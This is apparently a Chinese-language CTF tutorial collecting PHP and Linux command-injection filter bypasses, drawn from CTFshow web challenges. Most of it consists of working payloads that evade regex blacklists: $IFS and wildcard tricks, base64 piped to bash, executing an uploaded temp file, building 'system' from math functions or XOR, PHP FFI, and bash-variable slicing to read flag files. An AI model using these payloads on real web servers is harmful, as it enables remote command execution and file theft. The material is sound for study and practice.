重新对CTF中常见的命令执行绕过小技巧做了一个归纳总结
常见的系统命令执行函数 1 2 3 4 5 6 7 8 system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
管道符&通配符 windows 下
|直接执行后面的语句||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&前面和后面命令都要执行,无论前面真假&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;前面和后面命令都要执行,无论前面真假|直接执行后面的语句||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&前面和后面命令都要执行,无论前面真假&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
在linux系统中 有一些通配符
匹配任何字符串/文本,包括空字符串;
*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
空格绕过
> < <> 重定向符%09(需要php环境)${IFS} $IFS$9{cat,flag.php} //用逗号实现了空格功能%20 %09
黑名单绕过 拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo "Y2F0IGZsYWc="|base64 -decho "Y2F0IGZsYWc="|base64 -d|bash (在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''/???/?at ????/???/?[a]''[t] ?''?''?''?''
$1、$2等和$@
1 2 3 4 5 6 7 8 9 $ # 是传给脚本的参数个数$0 是脚本本身的名字$1 是传递给该shell脚本的第一个参数$2 是传递给该shell脚本的第二个参数$ @ 是传给脚本的所有参数的列表$ * 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9 个$ $ 是脚本运行的当前进程ID号$ ? 是显示最后命令的退出状态,0 表示没有错误,其他表示有错误
cat被过滤
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容
括号被过滤
内敛执行
cat$IFS$9`ls`
cat$IFS$9$(ls)
(内联,就是将``或$()内命令的输出作为输入执行)
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过) 1 2 3 4 5 6 7 8 9 10 11 12 root@kali :~/ 桌面 root@kali :~/ 桌面 root@kali :~/ 桌面 root@kali :~/ 桌面 root@kali :~/ 桌面 root@kali :~/ 桌面 'ca\' ' t \' ' fl\' ag flag root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中 root@kali:~/桌面# sh a a: 1: a: not found flag{hahaha} a: 6: flag.txt: not found
\是指换行ls -t将文件按时间排序输出sh命令可以从一个文件中读取命令来执行
bin/ bin目录:
bin为binary的简写主要放置一些 系统 的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
/usr/bin目录:
?c=/???/???/????2 ????.??? —》 然后在url + /flag.php.bz2
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb 、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
post上传文件进行命令执行 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system($c ); } }else { highlight_file(__FILE__ ); }
首先构造一个post上传文件的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST文件上传</title > </head > <body > <form action ="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
上传一个php文件,文件内容
注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
上传抓包
抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令
注:这里为什么要传参数,以及参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了
1.php就是我们上传的可控的文件,我们传的参数c的值为 . /bin/phpXXXXXX,意思就是说匹配上传1.php文件所生成的临时文件,并执行之
可以看到flag.php文件,
用cat命令读取文件即可
无参数文件名构造 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system("cat " .$c .".php" ); } }else { highlight_file(__FILE__ ); }
例如这题,我们需要构造的文件名为36
payload:
1 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
glob遍历文件名 1 2 3 4 5 6 7 8 c=?> <?php $a =new DirectoryIterator ("glob:///*" ); foreach ($a as $f ){echo ($f ->__toString().' ' ); } exit (0 );?>
mysql的load_file读文件 1 2 3 4 5 6 7 8 9 10 try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' ); foreach ($dbh ->query('select load_file("/flag36.txt")' ) as $row ) { echo ($row [0 ])."|" ; } $dbh = null ; } catch (PDOException $e ) { echo $e ->getMessage(); die (); }exit (0 );
FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
1 2 3 4 $ffi = FFI::cdef("int system(const char *command);" );// 创建一个system对象$a ='/readflag > 1.txt' ;// 没有回显的$ffi ->system($a );// 通过$ffi 去调用system函数exit ();
数学函数白名单过滤 1 2 $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];
1 2 3 4 5 6 7 8 9 PHP函数: scandir () 函数:返回指定目录中的文件和目录的数组。base_convert () 函数:在任意进制之间转换数字。dechex () 函数:把十进制转换为十六进制。hex2bin () 函数:把十六进制值的字符串转换为 ASCII 字符。var_dump () :函数用于输出变量的相关信息。readfile () 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。语法:readfile(filename,include_path,context)
数学函数利用 1 /index.php?c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($ $ pi ){pi }(($ $ pi ){abs })&pi =system &abs =<command>
分析
1 2 3 base_convert(37907361743 ,10 ,36 ) => "hex2bin" dechex(1598506324 ) => "5f474554" $pi =hex2bin("5f474554" ) => $pi ="_GET" // hex2bin将一串16 进制数转换为二进制字符串($$pi ){pi}(($$pi ){abs}) => ($_GET ){pi}(($_GET ){abs}) // {}可以代替[]
getallheaders — 获取全部 HTTP 请求头信息
1 2 3 /index.php?c=$ pi =base_convert,$ pi (696468 ,10 ,36 )($ pi (8768397090111664438 ,10 ,30 )(){1 }) 然后抓包在请求头中添加 1 :cat /flag
分析
1 2 3 4 5 base_convert (696468 ,10 ,36 ) => "exec" $pi (8768397090111664438 ,10 ,30 ) => "getallheaders" exec (getallheaders() {1 })echo xx,yy
异或 1 2 3 4 5 6 7 8 9 10 11 12 <?php $payload = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];for ($k =1 ;$k <=sizeof($payload );$k ++){ for ($i = 0 ;$i < 9 ; $i ++){ for ($j = 0 ;$j <=9 ;$j ++){ $exp = $payload [$k ] ^ $i .$j ; echo ($payload [$k ]."^$i $j " ."==>$exp " ); echo " " ; } } } ?>
在运行结果中找到_GET即可,构造payload
is_nan^64==>_G
tan^15==>ET
1 /?c=$pi =(is_nan^(6 ).(4 )).(tan^(1 ).(5 ));$pi =$$pi ;$pi {0 }($pi {1 })&0 =system&1 =cat%20 /flag
Linux中内置的bash变量 1 2 3 4 构造nl flag.php payload: ${ PATH: 14 : 1 }${ PATH: 5 : 1 } 过滤了数字时:payload: ${ PATH: ~A}${ PWD: ~A} ?? ?? .?? ?
$PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l 在linux中可以用获取变量的最后几位,而字母起到的作用是和0相同的,所有${PATH:A}其实就是${PATH:~0}
过滤了path时 1 2 3 构造 /bin/base64 flag.php payload: ${ PWD ::${ #SHLVL }}???${ PWD ::${ #SHLVL }}?????${ #RANDOM } ????.???
需要/和4两个字符就行,其他的可以用通配符代替
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}`绕过:
> SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
只需要`${PWD::${SHLVL}},结果就是/
还有一个4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
1 2 3 构造 /bin/cat flag.php paylaod: ${ PWD ::${ #SHLVL }}???${ PWD ::${ #SHLVL }}??${ HOME :${ #HOSTNAME }:${ #SHLVL }} ????.???
构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname为4个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
过滤了SHLVL时 1 payload: ${ PWD ::${ #?}}???${ PWD ::${ #?}}?????${ #RANDOM } ????.???
1 2 if (!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){
1 2 $? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
过滤了#和PWD时 1 >payload: <A;${ HOME::$? }?? ?$ {HOME::$? }?? ?? ?$ {RANDOM::$? } ?? ?? .?? ?
1 2 if (!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){
PWD过滤了可以用HOME代替,${HOME}默认是/root,接下去我们只要再找到1来代替${#SHLVL}
1 2 $? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
fuzz下发现题目没有过滤<,所以我们利用<A;报错。从而使$?返回值为1
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 > c=highlight_file('config.php' ); > c=$a ='sys' ;$b ='tem' ;$d =$a .$b ;$d ('cat config.php' ); > system('ca""t config.php' ) > system("ca''t config.php" ) > c=passthru("ca''t \`ls\`" ); > c=$a = base64_decode('c3lzdGVt' );$b =base64_decode('Y2F0IGNvbmZpZy5waHA=' );$a ($b ); > c=passthru("ca''t \`ls\`" )?> > c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?> > ?c=echo `$_POST [1]`?> > post: 1=cat config.php >?c=grep${IFS} %27{%27${IFS} fl???php 意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行 > ?c=/???/????64%20????.???
文章中例题多来源于CTFshow web入门板块